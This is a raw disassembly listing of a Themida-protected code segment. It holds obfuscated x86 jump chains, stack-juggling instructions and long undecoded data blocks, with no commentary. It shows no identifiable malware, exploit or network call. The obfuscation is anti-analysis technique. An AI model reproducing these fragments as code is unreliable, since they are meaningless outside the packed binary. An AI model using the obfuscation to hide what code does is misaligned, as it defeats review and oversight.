		dd 1B200AB8h, 2C1D2553h, 0E9484E21h, 0FFFF8817h, 24048B66h
		dd 0FFF844E9h, 240487FFh, 6624248Bh, 0E9240C89h, 0FFFF747Dh
		dd 0E5F78147h, 291E53C4h, 243C8BFAh, 4C481h, 0FE90000h
		dd 51FFFFFBh, 0FF7B1CE9h, 0E2C59FFh, 0FFD868E9h, 16EB81FFh
		dd 52800B3Ah, 0B71BC5BAh, 20C28103h, 311948E7h,	0D8015AD3h
		dd 39A0E95Bh, 36E90000h, 8FFFFF74h, 50E94047h, 81FFFFECh
		dd 4C3h, 4EB8300h, 31241C33h, 5AE9241Ch, 8BFFFF7Dh, 0C481242Ch
		dd 4, 435868h, 0FF5FE900h, 8158FFFFh, 0FF6AEAEFh, 28EF8154h
		dd 147670Eh, 28C781CFh,	8147670Eh, 0FF6AEAC7h, 240C8B54h
		dd 5004C483h, 2B8h, 0E9C70100h,	2F60h
; ---------------------------------------------------------------------------


loc_54D718:				; CODE XREF: Themida_:0054EC45j
		mov	[esp], ebx
		push	43587F0Ah
		pop	ebx
		push	eax
		mov	eax, 22CC03E0h
		jmp	loc_548ABF
; ---------------------------------------------------------------------------


loc_54D72C:				; CODE XREF: Themida_:0054E9FBj
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_54E946
; ---------------------------------------------------------------------------
		db 88h
		dd 285958C7h, 2434FFF8h, 2C52E95Bh, 0C1810000h,	4, 4BE56h
		dd 40E90000h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D757:				; CODE XREF: Themida_:0054CE3Ej
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebp, 0DED7FEFDh
		and	eax, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54FEDF
; ---------------------------------------------------------------------------


loc_54D77A:				; CODE XREF: Themida_:0054EFC4j
		pop	ebp
		jmp	loc_549C8C
; ---------------------------------------------------------------------------
		dd 23471FB8h, 58C2093Bh, 0FF9B06E9h, 0CFEE80FFh, 237F68h
		dd 2C16E900h, 0C890000h, 51535024h, 0EB88D588h,	9040E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D7AA:				; CODE XREF: Themida_:0054C3ABj
		push	ebx
		mov	ebx, 40729CAh
		sub	edx, ebx
		pop	ebx
		add	edx, 1
		add	edx, 0ECB51F5Ch
		and	[edi+1Ch], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_54B913
; ---------------------------------------------------------------------------


loc_54D7D4:				; CODE XREF: Themida_:00550850j
		not	edi
		jmp	loc_54CC64
; ---------------------------------------------------------------------------
		db 89h
		dd 0F0B62414h, 481468h,	24148900h, 0FFE98EE9h, 0BD554FFFh
		dd 77FF5C9Ah, 0C5CD8145h, 8106080Ah, 147724F5h,	9D27E947h
		dd 6658FFFFh, 4EC815Ah,	89000000h, 88532414h, 4EC81C7h
		dd 89000000h, 51522404h, 0FFB63FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D825:				; CODE XREF: Themida_:005481B3j
		pop	ebx
		jmp	loc_54C4A3
; ---------------------------------------------------------------------------
		db 81h
		dd 1118C3C3h, 0E9FB2916h, 0FFFFEA97h, 46850h, 1580000h
		dd 0BC1E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D846:				; CODE XREF: Themida_:0055094Bj
		mov	esi, [esp]
		jmp	loc_551074
; ---------------------------------------------------------------------------
		dw 48Bh
aHY		db '$h¸y',0
		align 2
		dw 0A9E9h
		dd 51FFFF9Bh, 4B9h, 59CE0100h, 4EE81h, 0FF560000h, 0E9042474h
		dd 0FFFF91A4h
; ---------------------------------------------------------------------------


loc_54D874:				; CODE XREF: Themida_:00547F9Aj
		pop	ebx
		sub	ebx, 47D82F79h
		jmp	loc_54DB16
; ---------------------------------------------------------------------------
		dd 97D788B8h, 58C7016Ch, 2EE95D57h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54D88F:				; CODE XREF: Themida_:0054E0EDj
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_547F9F
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C243Ch, 0FFFFDF55h, 83243C8Bh, 0E2E904C4h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D8B7:				; CODE XREF: Themida_:0054F608j
		add	edx, 4
		sub	edx, 4
		jmp	loc_54725B
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFF87A0h, 68CA015Bh, 399Dh, 0BB241C89h
		dd 43884FC9h, 0E95BDA29h, 0FFFFDD6Fh
; ---------------------------------------------------------------------------


loc_54D8E8:				; CODE XREF: Themida_:0054F79Bj
		push	ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_54FF1F
; ---------------------------------------------------------------------------
		dd 0F12DECBDh, 8DE58105h, 0F748CD4Fh, 7EDC1D5h,	0DE99E94Dh
		dd 0B60FFFFFh, 8734FFC0h, 1CF0E9h, 0E8295A00h, 0BCBB535Dh
		dd 0E92B471Ch, 48Bh
; ---------------------------------------------------------------------------


loc_54D92C:				; CODE XREF: Themida_:0054C00Dj
		xchg	edx, [esp]
		jmp	loc_54706A
; ---------------------------------------------------------------------------
aSiRph		db 'SˆÓRPh=',7,0
		align 2
		dw 0C89h
		dd 88DD8824h, 2434FFECh, 4C48159h, 0E9000000h, 2599h, 8924248Bh
		dd 0E189240Ch, 4C181h, 0E9830000h, 66AC6802h, 6AE90000h
		dd 5FFFFF9Ah, 9EB0E955h, 6768FFFFh, 0E900006Fh,	0FFFFC4B6h
		dd 4EF81h, 3C870000h, 24248B24h, 0FFFE4AE9h, 5EF701FFh
		dd 0FF89A4E9h, 80F7B4FFh, 0E30835F4h, 0C0C3FE58h, 506608E3h
		dd 535211B4h, 0D3F6F6B3h, 0FE30CB80h, 5EBC0C3h,	0FFD374E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D9BD:				; CODE XREF: Themida_:0054F3BBj
		jnz	loc_54B269
		push	2485h
		mov	[esp], esi
		jmp	loc_551178
; ---------------------------------------------------------------------------


loc_54D9D0:				; CODE XREF: Themida_:0054F65Cj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5491FB
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C481h, 0EFE90000h, 81FFFFE6h, 4C4h, 32E8E900h
		dd 3C890000h, 6ABE5624h, 0E952CF19h, 0FFFFE3EBh, 3E3C981h
		dd 0E981162Dh, 46A56BF0h, 159CB31h, 0A7E95BD9h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DA1F:				; CODE XREF: Themida_:0054AA18j
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_5460E3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815A24h, 4, 3302C583h, 2C31242Ch,	242C3324h, 0D324248Bh
		dd 0E99C240Ch, 0FFFF70A5h, 81EF0159h, 71294AC7h, 0E9525D59h
		dd 0FFFF9955h, 5FF88966h, 0FFA0A2E9h, 81E589FFh, 4C5h
		dd 0A2FCE900h, 34FFFFFFh, 0B4E95F24h, 5FFFFA1h,	4, 2BF57h
		dd 0F8010000h, 8B2434FFh, 11E9243Ch
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54DA93:				; CODE XREF: Themida_:0054B419j
		pop	esi
		jmp	loc_54ED24
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 2Ah
		dd 66FFFFB1h, 5224048Bh, 0FFB67EE9h, 6CE80FFh, 0CEFECEFEh
		dd 0D6F6D6F6h, 1918E9h,	241C8900h, 0FF7585E9h, 31E480FFh
		dd 0E9B6CC80h, 21DCh, 763E68h, 24148900h, 0C281E289h, 4
		dd 0AD168h, 240C8900h, 563089B9h, 8DF1816Fh, 566F5630h
		dd 0FF9CB6E9h, 0EC83ACFFh, 24148904h, 0B2A2B353h, 0E9DA28DEh
		dd 0FFFFF169h, 5C241C87h, 0B60FC330h, 7948E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DB16:				; CODE XREF: Themida_:0054D87Bj
		sub	ebx, 2AE830B2h
		add	ebx, 333A94EBh
		jmp	loc_54D32C
; ---------------------------------------------------------------------------
		db 81h
		dd 4EBh, 241C8700h, 0FFE045E9h,	4C483FFh, 8104C483h, 2C3h
		dd 241C3300h, 33241C31h, 248B241Ch, 2404D224h, 0D8B7E99Ch
		dd 0EE80FFFFh, 80EE00F5h, 0F659F5C6h, 21E680D6h, 0C6FECEFEh
		dd 0FE8FB353h, 0CF98E9C3h, 48FFFFFh, 29665C24h,	0E99C2404h
		dd 0FFFF6F71h, 8005E3C0h, 0CB8045EBh, 0E2B151A7h, 0E9D5E980h
		dd 0FFFFC844h, 0C781DF01h, 1087272Bh, 0E92434FFh, 0FFFFDE75h
		dd 0BE56E389h, 4, 0FF8F73E9h, 5DE889FFh, 3109BA52h, 0D02935E1h
		dd 8124148Bh, 4C4h, 0E9C78900h,	7C7h, 5C240487h, 0FFA5B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DBD5:				; CODE XREF: Themida_:0054508Bj
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 54687F4Eh
		shl	eax, 3
		not	eax
		inc	eax
		shr	eax, 6
		jmp	loc_54C42E
; ---------------------------------------------------------------------------
		dw 0E821h
		dd 0FF7060E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DBFD:				; CODE XREF: Themida_:00545979j
		push	ebp
		mov	ebp, 0D425380h
		sub	edx, ebp
		pop	ebp
		pop	esi
		jmp	loc_54F87E
; ---------------------------------------------------------------------------
		dd 472C8204h, 4EC835Ah,	0FF9168E9h, 0F3095AFFh,	9ECB815Eh
		dd 0E9100E1Fh, 62h, 0E9241C89h,	2B29h, 4BEh, 0D8A8E900h
		dd 48BFFFFh, 4C48124h, 81000000h, 4ECh,	0B3FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DC4E:				; CODE XREF: Themida_:00549D52j
		add	esp, 4
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		jmp	loc_54C157
; ---------------------------------------------------------------------------
		db 0FFh
		dd 54E93C77h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DC67:				; CODE XREF: Themida_:0054E9B3j
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_547615
		push	dword ptr [edi+28h]
		push	eax
		push	ecx
		push	208F14C6h
		pop	ecx
		xor	ecx, 2FC70D45h
		mov	eax, ecx
		jmp	loc_54A511
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 0E0685605h, 5E7DF7FFh, 7C32EB81h, 0F3297831h, 0FFF07CE9h
		dd 0EB8953FFh, 5D5BDE89h, 57C2EE81h, 0F5012CC1h, 5224348Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 0DD6BE924h, 34FFFFFFh
		dd 0C4835A24h, 0F7B8E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DCD6:				; CODE XREF: Themida_:00547481j
		add	esp, 4
		add	edx, eax
		jmp	loc_544CE1
; ---------------------------------------------------------------------------
		dd 498BBE56h, 0E94E2AC5h, 0FFFFBF11h
; ---------------------------------------------------------------------------


loc_54DCEC:				; CODE XREF: Themida_:0054C1D0j
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 57903AF1h
		jmp	loc_5484E9
; ---------------------------------------------------------------------------


loc_54DD0D:				; CODE XREF: Themida_:0054BDEEj
		neg	edi
		jmp	loc_54C227
; ---------------------------------------------------------------------------
		dd 68E568h, 241C8900h, 8004EDB7h, 0F828752Ch, 0CFD1E953h
		dd 4C29FFFFh, 29590824h, 81042474h, 86042444h, 0E910BE17h
		dd 0FFFF9F04h, 4C481h, 0B1050000h, 0E9327819h, 0FFFFCB1Bh
		dd 7FAC68h, 48F5400h, 5F545724h, 4C781h, 0EF830000h, 8BABE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DD6A:				; CODE XREF: Themida_:0054981Aj
					; Themida_:0054A58Cj
		push	1112h
		mov	[esp], ebx
		push	eax
		push	ebx
		jmp	loc_5480EC
; ---------------------------------------------------------------------------
		db 0B6h, 14h, 0E9h
		dd 0FFFF8BF0h
; ---------------------------------------------------------------------------


loc_54DD80:				; CODE XREF: Themida_:0054FF23j
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 69754D7Dh
		add	edx, 0FFFFFFFFh
		sub	edx, 7E747ACh
		neg	edx
		not	edx
		or	edx, 1E3F59C0h
		sub	edx, 7FBF5DCBh
		add	ecx, edx
		pop	edx
		jmp	loc_545BF0
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F590424h, 21E92404h, 52000027h, 37CE9BAh, 13E7E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DDC2:				; CODE XREF: Themida_:00547993j
		mov	edx, 83125E4h
		neg	edx
		push	ebp
		jmp	loc_5506FB
; ---------------------------------------------------------------------------
		db 59h
		dd 4526C181h, 0E95E71EDh, 16E6h
; ---------------------------------------------------------------------------


loc_54DDDC:				; CODE XREF: Themida_:0054FD3Cj
		push	edi
		not	dword ptr [esp]
		jmp	loc_54C407
; ---------------------------------------------------------------------------
		db 0E9h, 7, 6Dh
		dd 535AFFFFh, 4BBh, 8EB5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DDF6:				; CODE XREF: Themida_:0054DF27j
		xor	dword ptr [esp], 6A5328CFh
		pop	edx
		xor	edx, 6A5328CFh
		pop	edi
		shr	edx, 4
		neg	edx
		dec	edx
		not	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5C3918C1h
		and	ebp, 358918E8h
		push	edi
		jmp	loc_54AEA6
; ---------------------------------------------------------------------------
		dd 4C181h, 0A3E90000h, 54FFFFEBh, 0FFEEE959h, 295AFFFFh
		dd 0FA015DEAh, 0FD9C281h, 505F6C14h, 0FC397CB8h, 8E8C103h
		dd 3FC352Dh, 58C20100h,	31241433h, 81E92414h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DE5F:				; CODE XREF: Themida_:0054A803j
		push	6A8Bh
		mov	[esp], esi
		push	edi
		push	ebx
		push	482E6373h
		pop	ebx
		sub	ebx, 74BB07DFh
		add	ebx, 31276484h
		jmp	loc_54B8EE
; ---------------------------------------------------------------------------
		dd 4BB53h, 0DA010000h, 2414335Bh, 33241431h, 248B2414h
		dd 0AE2DE924h, 0EA81FFFFh, 6EED6A51h, 8868E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DEA6:				; CODE XREF: Themida_:005502DDj
		push	2FAFh
		mov	[esp], edx
		jmp	loc_548D95
; ---------------------------------------------------------------------------


loc_54DEB3:				; CODE XREF: Themida_:005498A6j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 4EC815Ch, 89000000h, 0C87241Ch
		dd 87D1F724h, 935B240Ch, 2F268h, 0B414E900h, 4ACFFFFh
		dd 0E9D828D7h, 0FFFFBF7Ch, 0E9075AB8h, 0B85EE97Ch, 0BE56FFFFh
		dd 8095E6Dh, 98DF87BBh,	5EF30134h, 9FE9D801h, 89000005h
		dd 0B9512424h, 4, 2E63E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DF21:				; CODE XREF: Themida_:0054CFC3j
		mov	edi, 55C90406h
		push	edi
		jmp	loc_54DDF6
; ---------------------------------------------------------------------------
		dd 48FFE883h, 5FBB0548h, 0E9553DF4h, 0FFFF94EBh, 771A19BDh
		dd 0A2C58113h, 4D614855h, 81DDF745h, 409041EDh,	5DE8898Bh
		dd 8358C501h, 0FF5504C5h, 8B042474h, 0C483242Ch, 79FAE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DF6A:				; CODE XREF: Themida_:00549C38j
		shr	edx, 5
		xor	edx, 3BD82B3Ah
		push	eax
		mov	eax, 3621C590h
		jmp	loc_54BC0C
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 4095C24h, 66E99C24h,	29FFFF6Bh, 0E1685BD8h, 8900007Ch
		dd 9068243Ch, 8B280220h, 0C481243Ch, 4,	1C781h,	89560000h
		dd 0A7DAE9E6h, 8A05FFFFh, 0E9092235h, 0FFFFD89Fh, 224768h
		dd 2019E900h, 5A5D0000h, 0FF9233E9h, 7E1BBBFFh,	0EB81514Eh
		dd 25386770h, 16A7EB81h, 0EA812C16h, 17972E53h,	0BF57DA01h
		dd 1D876FB4h, 41E7F781h, 0FA010A10h, 1497E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DFFA:				; CODE XREF: Themida_:0054EA25j
		xchg	edi, ebx
		jmp	loc_54BF43
; ---------------------------------------------------------------------------
		db 5Dh,	0F7h, 0DEh
		dd 0FF6ED3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E009:				; CODE XREF: Themida_:0054D332j
		mov	[esp], ebx
		sub	dword ptr [esp], 74C65E3Bh
		jmp	loc_545A2B
; ---------------------------------------------------------------------------


loc_54E018:				; CODE XREF: Themida_:0054A9D0j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_548902
; ---------------------------------------------------------------------------
		db 58h,	0D1h, 0EBh
		dd 5A75C381h, 0EB816B0Ah, 26697FD4h, 0D3F7DBF7h, 8224C381h
		dd 0C6819663h, 59A061E3h, 0EE81DE29h, 59A061E3h, 0FFB0FBE9h
		dd 0F5CA81FFh, 8106BF5Bh, 56F7E7C2h, 5AD189E1h,	2F5CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E071:				; CODE XREF: Themida_:0054A5E3j
		pop	esp
		shl	dword ptr [esp], cl
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 743312A0h, 1D89ED81h, 835935BEh, 506802EDh, 89000061h
		dd 79E9242Ch, 5CFFFF9Bh, 0FF6A54E9h, 243481FFh,	53962C98h
		dd 98F18159h, 5B53962Ch, 328B850h, 2CE94609h, 0FFFF96h
		dd 59842CC8h, 462CD800h, 0FFE92C5Bh, 0AFE92434h, 8FFFFFCAh
		dd 45E92404h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E0D3:				; CODE XREF: Themida_:0054F7BDj
		inc	al
		jmp	loc_545C6D
; ---------------------------------------------------------------------------
		dw 30FFh
		dd 0FF6A10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E0E1:				; CODE XREF: Themida_:00549FF1j
		add	esp, 4
		add	edi, 4
		jmp	loc_54D88F
; ---------------------------------------------------------------------------


loc_54E0F2:				; CODE XREF: Themida_:0054D447j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_549389
; ---------------------------------------------------------------------------
		db 5
		dd 4, 4EC81h, 1C890000h, 2BB24h, 0D8010000h, 81241C8Bh
		dd 4C4h, 74FF5000h, 48B0424h, 7C6DE924h, 95BEFFFFh, 815C0A47h
		dd 1F0D5ACEh, 6E6C105h,	30A6C681h, 0F389378Bh, 87DBF75Eh
		dd 87D6F7F3h, 6EF381F3h, 93745342h, 8193D0F7h, 7E9011EBh
		dd 15AE9E8h, 92E90000h,	55FFFF69h, 15E95D54h, 5BFFFFD4h
		dd 315AD729h, 243C8BF8h, 0B493E957h, 34FFFFFFh,	94E95E24h
		dd 0B7FFFFC7h, 8EFC055h, 0FF7D44E9h, 0ECE950FFh, 0BE000006h
		dd 0F6FA99h, 0E95EF501h, 148Dh,	4EC8148h, 89000000h, 0B5BD242Ch
		dd 0E9541107h, 17E9h, 6887048Dh, 1A25h,	0E0CE9h, 68515F00h
		dd 1652h, 0BD242C89h, 40AA2088h, 24048155h, 5926426Fh
		dd 6FE98159h, 0E9592642h, 0FFFFA67Eh, 0AEEBBD55h, 0EB01B7C1h
		dd 1C07E9h, 243C8B00h, 104C483h, 69FCE9EFh, 505DFFFFh
		dd 2B8h, 138FE900h, 2BA0000h, 0E9000000h, 0FFFF9224h, 0E904C483h
		dd 0FFFFBF94h
; ---------------------------------------------------------------------------


loc_54E218:				; CODE XREF: Themida_:0054AABEj
		pop	edi
		and	eax, esi
		pop	esi
		jmp	loc_549818
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 1000000h, 0E9555FF8h, 0FFFFDD9Fh, 3F9568h, 24148900h
		dd 0E950E289h, 0A80h
; ---------------------------------------------------------------------------


loc_54E240:				; CODE XREF: Themida_:00546017j
		push	small 7BB2h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		dd 0E95FFE09h, 0FFFFDC98h
; ---------------------------------------------------------------------------


loc_54E258:				; CODE XREF: Themida_:00546C1Aj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, edi
		pop	edi
		neg	eax
		jmp	loc_54C8DA
; ---------------------------------------------------------------------------
		dd 348BF031h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54FA13
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 3EE95324h, 50FFFFF1h, 0A8021EB8h, 58C70945h,	0D3CCF781h
		dd 0DFF75BF0h, 0BB53h, 0F3E90000h, 0F7000006h, 0E95A2414h
		dd 0FFFFB620h, 0CA63E959h, 0E95AFFFFh, 0FFFFFFB8h, 2D5BDE31h
		dd 1F2E1892h, 9205F029h, 8B1F2E18h, 54562434h, 6F58E95Eh
		dd 0E954FFFFh, 0FFFFC28Ch, 0E63AE958h, 0BA52FFFFh, 31F71AEDh
		dd 1CBBF281h, 0E94A2351h, 0FFFF90E5h, 2434895Ch, 0BD55E689h
		dd 3F3209A6h, 18BBF581h, 0F58125BDh, 3D382C4Ah,	35D8CD81h
		dd 0C5817DFBh, 2771C79h, 0C581D5F7h, 82765A5Dh,	0E95DEE01h
		dd 0FFFF94CDh, 4C281h, 0EA810000h, 4, 5C241487h, 81242489h
		dd 42404h, 505A0000h, 950A9AB8h, 8E8C15Fh, 0A535D0F7h
		dd 0E9698E7Eh, 0FFFFDE43h
; ---------------------------------------------------------------------------


loc_54E350:				; CODE XREF: Themida_:0054A342j
		sub	edi, eax
		pop	eax
		push	edi
		jmp	loc_546844
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0DFF70000h, 2542BB53h, 814B291Dh, 4E10E9F3h
		dd 8FCB813Bh, 0E96B7643h, 0FFFFABEAh, 1393EA81h, 6AE96ADCh
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E387:				; CODE XREF: Themida_:00544D2Bj
		pop	ebx
		xor	ebx, 1B6530FCh
		jmp	loc_54B41E
; ---------------------------------------------------------------------------
		db 58h
		dd 61AEBF57h, 0D6E94604h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E39F:				; CODE XREF: Themida_:0054C222j
		inc	dl
		add	dl, 0EEh
		mov	ch, dl
		pop	edx
		add	bl, ch
		pop	cx
		push	ecx
		mov	ch, 0ACh
		add	bl, 9Fh
		jmp	loc_550CF5
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 46824h, 515D0000h, 71294AB9h, 0E9CF2959h, 0FFFFF680h
		dd 5724048Bh, 0C781E789h, 4, 0FF9B01E9h, 243487FFh, 240C895Ch
		dd 21E91B9h, 4CBE5628h,	0C132C41Ah, 0CE8104E6h,	2C7D0EA7h
		dd 7468EE81h, 0E6C171A3h, 0C2E94E03h, 8BFFFFA4h, 7682404h
		dd 0E9000037h, 0FFFFEA3Dh, 0F4E9D131h, 0B2FFFFCBh, 1C17E99Bh
		dd 0E2860000h, 0E286D4F6h, 807AC280h, 0D7884EEAh, 0FFB585E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E435:				; CODE XREF: Themida_:0054C474j
		push	esi
		mov	esi, 53C73B2h
		sub	ecx, 57466E7Ah
		sub	ecx, 31F65B9Bh
		sub	ecx, esi
		jmp	loc_54BC14
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 92E9C052h, 295AD129h, 0EF8159C8h, 77217D6Ch,	0FFCB20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E465:				; CODE XREF: Themida_:0054E737j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54C4A8
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8868240Ch, 89000007h, 0EC83243Ch, 24248904h,	178AE9h
		dd 0BCE95C00h, 35FFFFA7h, 4DCF4E71h, 24048150h,	590F7737h
		dd 37EB815Bh, 0E9590F77h, 0FFFFFB8Dh, 0E9B6B151h, 0FFFFADC9h
; ---------------------------------------------------------------------------


loc_54E4AC:				; CODE XREF: Themida_:00548823j
		pop	esp
		jmp	loc_546AF4
; ---------------------------------------------------------------------------
aHO		db '[)Øh(O',0
		align 2
		dw 3CE9h
		dd 8100001Ah, 1856E0EFh, 1EE9592Dh
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E4CB:				; CODE XREF: Themida_:0054EA8Dj
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_545B6F
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 5704C483h, 941E78BFh, 0AAE94F62h, 0C1FFFF8Bh, 0F68106E6h
		dd 196B6391h, 0FFE92EE9h, 240487FFh, 0FF9088E9h, 0E95966FFh
		dd 0FFFF67C7h, 81E28952h, 4C2h,	4BF5700h, 1000000h, 0FF525FFAh
		dd 5A042474h, 5C24048Fh, 490F68h, 241C8900h, 5124048Bh
		dd 0BE56E189h, 3A0D4B53h, 2414F756h, 81D6F75Eh,	0F2B4B1C6h
		dd 0E9F101C5h, 0FFFFFC2Eh
; ---------------------------------------------------------------------------


loc_54E548:				; CODE XREF: Themida_:0054FA0Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_544E9D
; ---------------------------------------------------------------------------
		db 81h
		dd 3456CEE9h, 81F90170h, 3456CEC1h, 0F1015F70h,	423AE981h
		dd 875E1018h, 248B240Ch, 148B6624h, 0E2ACE924h,	8952FFFFh
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 0E789575Ch, 4C781h
		dd 57550000h, 2C1371BFh, 43BE5641h, 81281611h, 26139CE6h
		dd 0E9D6F773h, 0FFFFEE36h, 33240C31h, 665C240Ch, 0E9240489h
		dd 0FFFF6529h, 0C8B5451h, 4C48124h, 0E9000000h,	2581h
		dd 0ED805866h, 0E9EB00BAh, 0FFFF7ED4h, 0B25649B9h, 16C1811Fh
		dd 0C1795556h, 6EE903E9h, 81FFFF76h, 953E8C5h, 0C5835B5Eh
		dd 242C8702h, 6624248Bh, 50240C8Bh, 0BE56E089h,	4, 12D9E9h
		dd 96BA6600h, 96BFE95Dh, 6855FFFFh, 7AAFh, 0E9242489h
		dd 0FFFF98CCh, 8008E2C0h, 0F2806EE2h, 0E9C2FEB7h, 0FFFF9713h
		dd 123568h, 241C8900h, 0EB8052B3h, 98F3803Dh, 0F380DBF6h
		dd 0F526E91Bh, 835AFFFFh, 48904ECh, 0A06B824h, 0AF250D8Bh
		dd 0D5DF925h, 50643F89h, 0FFB9DFE9h, 0D831ADFFh, 81E68956h
		dd 4ECh, 7E46E900h, 8B66FFFFh, 8952240Ch, 4C281E2h, 81000000h
		dd 2C2h, 24148700h, 0F3E9525Ch,	89FFFF94h, 405E0h, 0C0830000h
		dd 24048704h, 1E0FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E6B5:				; CODE XREF: Themida_:00549BE6j
		add	edx, 53437822h
		add	edx, ecx
		sub	edx, 53437822h
		jmp	loc_54C9E8
; ---------------------------------------------------------------------------
		dd 5324048Bh, 51E78957h, 0CF6516B9h, 2E1C176h, 9454E981h
		dd 0CF01DB3Dh, 4EF8359h, 2474FF57h, 48F5F04h, 15E95C24h
		dd 0FFFFFF9Ch, 48B2434h, 4C48324h, 4C481h, 0C4810000h
		dd 4, 840FC909h, 0FFFF7139h, 5DFB68h, 243C8900h, 51E9E789h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E71F:				; CODE XREF: Themida_:00549B28j
		push	edx
		mov	edx, esp
		jmp	loc_54B2FB
; ---------------------------------------------------------------------------
		db 89h
		dd 9EE9241Ch
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E72F:				; CODE XREF: Themida_:0054FF5Aj
		add	esi, edi
		add	esi, 68461C8Ah
		jmp	loc_54E465
; ---------------------------------------------------------------------------


loc_54E73C:				; CODE XREF: Themida_:005453E2j
		pop	ecx
		mov	edi, edx
		pop	edx
		or	edi, 2EBE4DA0h
		sub	edi, 73206A9Bh
		xor	edi, 6A9E5D7Dh
		jmp	loc_548C74
; ---------------------------------------------------------------------------
		db 58h
		dd 0B951D701h, 550F310Bh, 68E9CF01h, 0F6FFFFD5h, 73EC80D4h
		dd 1731E9h, 0E90E0400h,	0FFFF76A2h, 1CC3BF57h, 0F8015D95h
		dd 0BB43E95Fh, 0F589FFFFh, 0FFBB2FE9h, 241489FFh, 0FF6D44E9h
